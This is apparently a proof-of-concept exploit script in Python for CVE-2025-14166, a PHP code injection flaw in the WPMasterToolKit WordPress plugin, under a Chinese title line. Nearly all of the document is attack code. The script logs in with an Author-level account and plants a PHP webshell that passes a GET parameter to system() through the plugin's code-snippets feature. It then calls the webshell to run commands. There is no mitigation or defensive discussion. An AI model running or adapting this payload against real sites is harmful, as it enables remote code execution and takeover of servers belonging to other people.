CVE-2025-14166 WPMasterToolKit WordPress插件PHP代码注入漏洞

import requests import sys from bs4 import BeautifulSoup # CVE-2025-14166 PoC - WPMasterToolKit PHP Code Injection # Target: WordPress site with WPMasterToolKit plugin <= 2.13.0 # Authenticated exploitation (Author role or higher) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "author_password" def login(session, target_url, username, password): """Authenticate to WordPress with Author-level account""" login_url = f"{target_url}/wp-login.php" data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=data, allow_redirects=True) return 'wordpress_logged_in' in session.cookies.get_dict() def create_malicious_snippet(session, target_url): """Create PHP code snippet for RCE via eval()""" # Path to WPMasterToolKit Code Snippets module snippet_url = f"{target_url}/wp-admin/admin.php?page=wpmt-code-snippets" # Malicious PHP payload - creates webshell payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" data = { 'action': 'create', 'title': 'Malicious Snippet', 'code': payload, 'status': 'active' } response = session.post(snippet_url, data=data) return response.status_code == 200 def execute_command(session, target_url, command): """Execute system command via injected webshell""" webshell_url = f"{target_url}/wp-content/plugins/wpmastertoolkit/snippets.php?cmd={command}" response = session.get(webshell_url) return response.text def main(): session = requests.Session() print("[*] Logging in to WordPress...") if not login(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Login failed!") sys.exit(1) print("[+] Login successful!") print("[*] Creating malicious PHP snippet...") if create_malicious_snippet(session, TARGET_URL): print("[+] Snippet created and activated!") print("[*] Executing command: whoami") result = execute_command(session, TARGET_URL, "whoami") print(f"[+] Result: {result}") if __name__ == "__main__": main()